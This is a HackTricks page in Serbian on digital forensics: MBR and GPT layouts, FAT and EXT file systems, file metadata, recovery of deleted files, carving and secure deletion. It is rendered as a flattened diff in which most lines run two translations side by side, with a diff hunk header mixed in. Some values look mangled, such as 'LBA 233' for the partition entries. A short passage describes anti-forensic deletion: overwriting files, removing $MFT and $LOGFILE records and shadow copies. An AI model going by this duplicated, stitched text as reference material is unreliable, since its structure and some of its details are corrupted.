Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Particije ## Partitions
Tvrdi disk ili **SSD disk mogu sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\ Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
**Minimalna** jedinica diska je **sektor** (obično sastavljen od 512B). Dakle, veličina svake particije mora biti višekratnik te veličine. **Minimalna** jedinica diska je **sektor** (normalno sastavljen od 512B). Tako da, veličina svake particije mora biti višekratnik te veličine.
### MBR (master Boot Record) ### MBR (master Boot Record)
Nalazi se u **prvom sektoru diska nakon 446B boot koda**. Taj sektor je bitan jer pokazuje računaru šta i odakle treba da se montira particija.\ Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je ključan za indikaciju PC-u šta i odakle treba da se montira particija.\
Dozvoljava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Poslednji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\ Omogućava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Zadnji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
MBR dozvoljava **maksimalno 2.2TB**. MBR omogućava **maksimalno 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>) ![](<../../../.gitbook/assets/image (490).png>)
Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo drajva tvrdog diska zavisi od Windows Disk Signature-a. Menjanje ovog potpisa može sprečiti Windows da se podigne (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo diska hard diska zavisi od Windows Disk Signature. Promena ovog potpisa može sprečiti Windows da se pokrene (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>) ![](<../../../.gitbook/assets/image (493).png>)
**Format** **Format**
| Offset | Dužina | Stavka | | Offset | Length | Item |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Boot kod | | 0 (0x00) | 446(0x1BE) | Boot code |
| 446 (0x1BE) | 16 (0x10) | Prva particija | | 446 (0x1BE) | 16 (0x10) | Prva particija |
| 462 (0x1CE) | 16 (0x10) | Druga particija | | 462 (0x1CE) | 16 (0x10) | Druga particija |
| 478 (0x1DE) | 16 (0x10) | Treća particija | | 478 (0x1DE) | 16 (0x10) | Treća particija |
| 494 (0x1EE) | 16 (0x10) | Četvrta particija | | 494 (0x1EE) | 16 (0x10) | Četvrta particija |
| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
**Format Zapisa Particije** **Format zapisa particije**
| Offset | Dužina | Stavka | | Offset | Length | Item |
| --------- | -------- | -------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) | | 0 (0x00) | 1 (0x01) | Aktivna zastavica (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Početna glava | | 1 (0x01) | 1 (0x01) | Početna glava |
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | | 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
| 3 (0x03) | 1 (0x01) | Najnižih 8 bitova cilindra početka | | 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Krajnja glava | | 5 (0x05) | 1 (0x01) | Kraj glave |
| 6 (0x06) | 1 (0x01) | Krajnji sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | | 6 (0x06) | 1 (0x01) | Kraj sektora (bitovi 0-5); gornji bitovi cilindra (6- 7) |
| 7 (0x07) | 1 (0x01) | Najnižih 8 bitova cilindra kraja | | 7 (0x07) | 1 (0x01) | Kraj cilindra najniži 8 bitova |
| 8 (0x08) | 4 (0x04) | Sektori pre particije (little endian) | | 8 (0x08) | 4 (0x04) | Sektori pre particije (mali endian) |
| 12 (0x0C) | 4 (0x04) | Sektori u particiji | | 12 (0x0C) | 4 (0x04) | Sektori u particiji |
Da biste montirali MBR u Linux-u prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`) Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i `p` komandu)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Zatim koristite sledeći kod I zatim koristite sledeći kod
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes #63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (Logical block addressing)** **LBA (Logičko adresiranje blokova)**
**Logičko blok adresiranje** (**LBA**) je uobičajena šema korišćena za **specifikaciju lokacije blokova** podataka smeštenih na računarskim uređajima za skladištenje, uglavnom sekundarnim skladišnim sistemima poput hard disk drajvova. LBA je posebno jednostavna linearna adresna šema; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje. **Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **specifikaciju lokacije blokova** podataka koji su pohranjeni na uređajima za skladištenje računara, obično sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se lociraju pomoću celobrojnih indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
### GPT (GUID Partition Table) ### GPT (GUID tabela particija)
GUID Partition Table, poznata kao GPT, preferira se zbog svojih unapređenih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se ističe na nekoliko načina: GUID tabela particija, poznata kao GPT, favorizovana je zbog svojih poboljšanih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se izdvaja na nekoliko načina:
* **Lokacija i Veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64 bita**, za razliku od MBR-ovih 32 bita. * **Lokacija i veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64bita**, u kontrastu sa MBR-ovih 32bita.
* **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka. * **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka.
* **Imena particija**: Omogućava mogućnost imenovanja particija sa do 36 Unicode karaktera. * **Imena particija**: Nudi mogućnost imenovanja particija sa do 36 Unicode karaktera.
**Otpornost i Obnova Podataka**: **Otpornost podataka i oporavak**:
* **Redundantnost**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o podizanju na jednom mestu. Ona replicira ove podatke širom diska, poboljšavajući integritet i otpornost podataka. * **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke za pokretanje na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
* **Ciklična Redundantna Provera (CRC)**: GPT koristi CRC kako bi osigurala integritet podataka. Aktivno nadgleda korupciju podataka, i kada je detektovana, GPT pokušava da povrati oštećene podatke sa druge lokacije na disku. * **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke iz druge lokacije na disku.
**Zaštitni MBR (LBA0)**: **Zaštitni MBR (LBA0)**:
* GPT održava kompatibilnost unazad putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru za stari MBR, ali je dizajnirana da spreči starije MBR-bazirane alatke da greškom prepišu GPT diskove, čime se čuva integritet podataka na GPT-formatiranim diskovima. * GPT održava unazad kompatibilnost putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru nasleđenog MBR-a, ali je dizajnirana da spreči starije MBR-bazirane alate da greškom prepisuju GPT diskove, čime se štiti integritet podataka na GPT-formatiranim diskovima.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**Hibridni MBR (LBA 0 + GPT)** **Hibridni MBR (LBA 0 + GPT)**
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Iz Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
U operativnim sistemima koji podržavaju **GPT bazirano podizanje putem BIOS** servisa umesto EFI, prvi sektor se može koristiti za skladištenje prvog koraka **koda podizanja** (bootloader), ali **modifikovanog** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme pretpostaviti veličinu sektora od 512 bajtova. U operativnim sistemima koji podržavaju **GPT-bazirano pokretanje putem BIOS** usluga umesto EFI, prvi sektor se takođe može koristiti za skladištenje prve faze **bootloader** koda, ali **modifikovan** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme da pretpostavlja veličinu sektora od 512 bajta.
**Zaglavlje particionog tabele (LBA 1)** **Zaglavlje tabele particija (LBA 1)**
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Iz Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Zaglavlje particione tabele definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine particionu tabelu (ofseti 80 i 84 u tabeli). Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli).
| Ofset | Dužina | Sadržaj | | Offset | Dužina | Sadržaj |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bajtova | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na malo-endijanskim mašinama) | | 0 (0x00) | 8 bajta | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na little-endian mašinama) |
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 | | 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
| 12 (0x0C) | 4 bajta | Veličina zaglavlja u malom endijanu (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) | | 12 (0x0C) | 4 bajta | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (ofset +0 do veličine zaglavlja) u malom endijanu, pri čemu je ovo polje nula tokom računanja | | 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, sa ovim poljem nula tokom izračunavanja |
| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula | | 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
| 24 (0x18) | 8 bajtova | Trenutni LBA (lokacija ovog kopiranog zaglavlja) | | 24 (0x18) | 8 bajta | Trenutni LBA (lokacija ove kopije zaglavlja) |
| 32 (0x20) | 8 bajtova | Rezervisano LBA (lokacija drugog kopiranog zaglavlja) | | 32 (0x20) | 8 bajta | Backup LBA (lokacija druge kopije zaglavlja) |
| 40 (0x28) | 8 bajtova | Prvi upotrebljivi LBA za particije (poslednji LBA primarne particione tabele + 1) | | 40 (0x28) | 8 bajta | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
| 48 (0x30) | 8 bajtova | Poslednji upotrebljivi LBA (prvi LBA sekundarne particione tabele 1) | | 48 (0x30) | 8 bajta | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija 1) |
| 56 (0x38) | 16 bajtova | Disk GUID u mešovitom endijanu | | 56 (0x38) | 16 bajta | Disk GUID u mešovitom endian |
| 72 (0x48) | 8 bajtova | Početni LBA niza unosa particija (uvek 2 u primarnom kopiranju) | | 72 (0x48) | 8 bajta | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
| 80 (0x50) | 4 bajta | Broj unosa particija u nizu | | 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) | | 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u malom endijanu | | 88 (0x58) | 4 bajta | CRC32 niza unosa particija u little endian |
| 92 (0x5C) | \* | Rezervisano; moraju biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajtova; ali može biti više sa većim veličinama sektora) | | 92 (0x5C) | \* | Rezervisano; mora biti nule za ostatak bloka (420 bajta za veličinu sektora od 512 bajta; ali može biti više sa većim veličinama sektora) |
**Unosi particija (LBA 233)** **Unosi particija (LBA 233)**
| Format unosa particije GUID | | | | Format unosa GUID particije | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Ofset | Dužina | Sadržaj | | Offset | Dužina | Sadržaj |
| 0 (0x00) | 16 bajtova | [GUID particije tipa](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešoviti endijan) | | 0 (0x00) | 16 bajta | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešovit endian) |
| 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešoviti endijan) | | 16 (0x10) | 16 bajta | Jedinstveni GUID particije (mešovit endian) |
| 32 (0x20) | 8 bajtova | Prvi LBA ([mali endijan](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 bajta | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bajtova | Poslednji LBA (inkluzivno, obično neparan) | | 40 (0x28) | 8 bajta | Poslednji LBA (uključivo, obično neparan) |
| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) | | 48 (0x30) | 8 bajta | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jedinica koda) | | 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
**Tipovi Particija** **Tipovi particija**
![](<../../../.gitbook/assets/image (492).png>) ![](<../../../.gitbook/assets/image (492).png>)
Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Inspekcija ### Istraživanje
Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete pregledati prvi sektor koristeći Windows alatku [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici detektovan je **MBR** na **sektoru 0** i interpretiran: Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete ispitati prvi sektor koristeći Windows alat [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici je otkriven **MBR** na **sektoru 0** i interpretiran:
![](<../../../.gitbook/assets/image (494).png>) ![](<../../../.gitbook/assets/image (494).png>)
Da je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_ u **sektoru 1** (koji je prazan na prethodnoj slici). Ako je to bila **GPT tabela umesto MBR-a**, trebala bi se pojaviti potpis _EFI PART_ u **sektoru 1** (koji je na prethodnoj slici prazan).
## Fajl-sistemi
### Lista Windows fajl-sistema ## Sistemi datoteka
### Lista Windows sistema datoteka
* **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -160,79 +162,79 @@ Da je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_
### FAT ### FAT
**FAT (File Allocation Table)** fajl-sistem je dizajniran oko svoje osnovne komponente, tabele alokacije fajlova, koja se nalazi na početku zapremine. Ovaj sistem štiti podatke održavanjem **dve kopije** tabele, obezbeđujući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnom mestu**, ključnom za proces pokretanja sistema. **FAT (Tabela alokacije datoteka)** sistem datoteka je dizajniran oko svoje osnovne komponente, tabele alokacije datoteka, koja se nalazi na početku volumena. Ovaj sistem štiti podatke održavanjem **dvije kopije** tabele, osiguravajući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnoj lokaciji**, što je ključno za proces pokretanja sistema.
Osnovna jedinica skladištenja fajl-sistema je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije: Osnovna jedinica skladištenja sistema datoteka je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
* **FAT12**, podržava 12-bitne adrese klastera i upravlja do 4078 klastera (4084 sa UNIX-om). * **FAT12**, podržava 12-bitne adrese klastera i obrađuje do 4078 klastera (4084 sa UNIX-om).
* **FAT16**, unapređenje na 16-bitne adrese, čime se može smestiti do 65.517 klastera. * **FAT16**, unapređuje na 16-bitne adrese, čime se omogućava do 65,517 klastera.
* **FAT32**, dalje napredovanje sa 32-bitnim adresama, omogućavajući impresivnih 268.435.456 klastera po zapremini. * **FAT32**, dalje napreduje sa 32-bitnim adresama, omogućavajući impresivnih 268,435,456 klastera po volumenu.
Značajno ograničenje kroz verzije FAT-a je **maksimalna veličina fajla od 4GB**, nametnuta 32-bitnim poljem korišćenim za skladištenje veličine fajla. Značajno ograničenje kod FAT verzija je **maksimalna veličina datoteke od 4GB**, koju nameće 32-bitno polje korišćeno za skladištenje veličine datoteke.
Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju: Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju:
* **Ime fajla/foldera** (do 8 karaktera) * **Ime datoteke/foldera** (do 8 karaktera)
* **Atributi** * **Atributi**
* **Datumi kreiranja, modifikacije i poslednjeg pristupa** * **Datumi kreiranja, modifikacije i poslednjeg pristupa**
* **Adresa FAT tabele** (ukazujući na početni klaster fajla) * **Adresa FAT tabele** (koja označava početni klaster datoteke)
* **Veličina fajla** * **Veličina datoteke**
### EXT ### EXT
**Ext2** je najčešći fajl-sistem za **particije bez dnevnika** (**particije koje se retko menjaju**), poput boot particije. **Ext3/4** su **sa dnevnikom** i obično se koriste za **ostale particije**. **Ext2** je najčešći sistem datoteka za **ne-journal** particije (**particije koje se ne menjaju mnogo**) kao što je particija za pokretanje. **Ext3/4** su **journal** i obično se koriste za **ostale particije**.
## **Metapodaci** ## **Metapodaci**
Neki fajlovi sadrže metapodatke. Ove informacije se odnose na sadržaj fajla koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa fajla, može sadržati informacije poput: Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
* Naslov * Naslov
* Korišćena verzija MS Office-a * Verzija MS Office-a koja se koristi
* Autor * Autor
* Datumi kreiranja i poslednje modifikacije * Datumi kreiranja i poslednje modifikacije
* Model kamere * Model kamere
* GPS koordinate * GPS koordinate
* Informacije o slici * Informacije o slici
Možete koristiti alate poput [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da biste dobili metapodatke fajla. Možete koristiti alate kao što su [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da dobijete metapodatke datoteke.
## **Obnova obrisanih fajlova** ## **Oporavak obrisanih datoteka**
### Evidentirani obrisani fajlovi ### Zabeležene obrisane datoteke
Kao što je već viđeno, postoji nekoliko mesta gde se fajl i dalje čuva nakon što je "obrisan". To je zato što brisanje fajla iz fajl-sistema obično označava kao obrisano, ali podaci nisu dirani. Zatim je moguće pregledati registre fajlova (poput MFT-a) i pronaći obrisane fajlove. Kao što je ranije viđeno, postoji nekoliko mesta gde je datoteka još uvek sačuvana nakon što je "obrisana". To je zato što obično brisanje datoteke iz sistema datoteka samo označava da je obrisana, ali podaci nisu dodirnuti. Tada je moguće ispitati registre datoteka (kao što je MFT) i pronaći obrisane datoteke.
Takođe, OS obično čuva mnogo informacija o promenama fajl-sistema i rezervnim kopijama, pa je moguće pokušati ih koristiti za obnovu fajla ili što više informacija. Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati koristiti ih za oporavak datoteke ili što više informacija.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Izvlačenje fajlova** ### **File Carving**
**Izvlačenje fajlova** je tehnika koja pokušava **pronaći fajlove u masi podataka**. Postoje 3 glavna načina rada alata poput ovog: **Na osnovu zaglavlja i podnožja tipova fajlova**, na osnovu **strukture tipova fajlova** i na osnovu **sadržaja** samog fajla. **File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i repova tipova datoteka**, na osnovu struktura tipova datoteka i na osnovu **sadržaja** samog.
Imajte na umu da ova tehnika **ne funkcioniše za povrat fragmentiranih fajlova**. Ako fajl **nije smešten u susednim sektorima**, tada ova tehnika neće moći da ga pronađe ili bar deo njega. Napomena da ova tehnika **ne funkcioniše za vraćanje fragmentisanih datoteka**. Ako datoteka **nije pohranjena u kontiguitetnim sektorima**, tada ova tehnika neće moći da je pronađe ili barem deo nje.
Postoje različiti alati koje možete koristiti za izvlačenje fajlova, navodeći tipove fajlova koje želite pretraživati. Postoji nekoliko alata koje možete koristiti za file carving koji označavaju tipove datoteka koje želite da pretražujete.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Izvlačenje podataka iz **struja** ### Data Stream **C**arving
Izvlačenje podataka iz struja slično je izvlačenju fajlova, ali **umesto traženja kompletnih fajlova, traži zanimljive fragmente** informacija.\ Data Stream Carving je sličan File Carving-u, ali **umesto da traži kompletne datoteke, traži zanimljive fragmente** informacija.\
Na primer, umesto traženja kompletnog fajla koji sadrži evidentirane URL-ove, ovom tehnikom će se tražiti URL-ovi. Na primer, umesto da traži kompletnu datoteku koja sadrži zabeležene URL-ove, ova tehnika će tražiti URL-ove.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Bezbedno brisanje ### Sigurno brisanje
Očigledno, postoje načini za **"sigurno" brisanje fajlova i delova zapisa o njima**. Na primer, moguće je **prepisati sadržaj** fajla sa beskorisnim podacima nekoliko puta, a zatim **ukloniti** zapise iz **$MFT** i **$LOGFILE** o fajlu, i **ukloniti kopije senki zapisa**.\ Očigledno, postoje načini da se **"sigurno" obrišu datoteke i deo logova o njima**. Na primer, moguće je **prepisati sadržaj** datoteke sa smešnim podacima nekoliko puta, a zatim **ukloniti** **logove** iz **$MFT** i **$LOGFILE** o datoteci, i **ukloniti kopije senki volumena**.\
Možda ćete primetiti da čak i nakon sprovođenja te radnje, postoji **još delova gde je postojanje fajla evidentirano**, što je tačno, a deo posla forenzičara je da ih pronađe. Možda ćete primetiti da čak i nakon izvođenja te akcije može postojati **drugi delovi gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
## Reference ## Reference
@ -240,4 +242,19 @@ Možda ćete primetiti da čak i nakon sprovođenja te radnje, postoji **još de
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs Sertifikovani Digitalni Forenzik Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
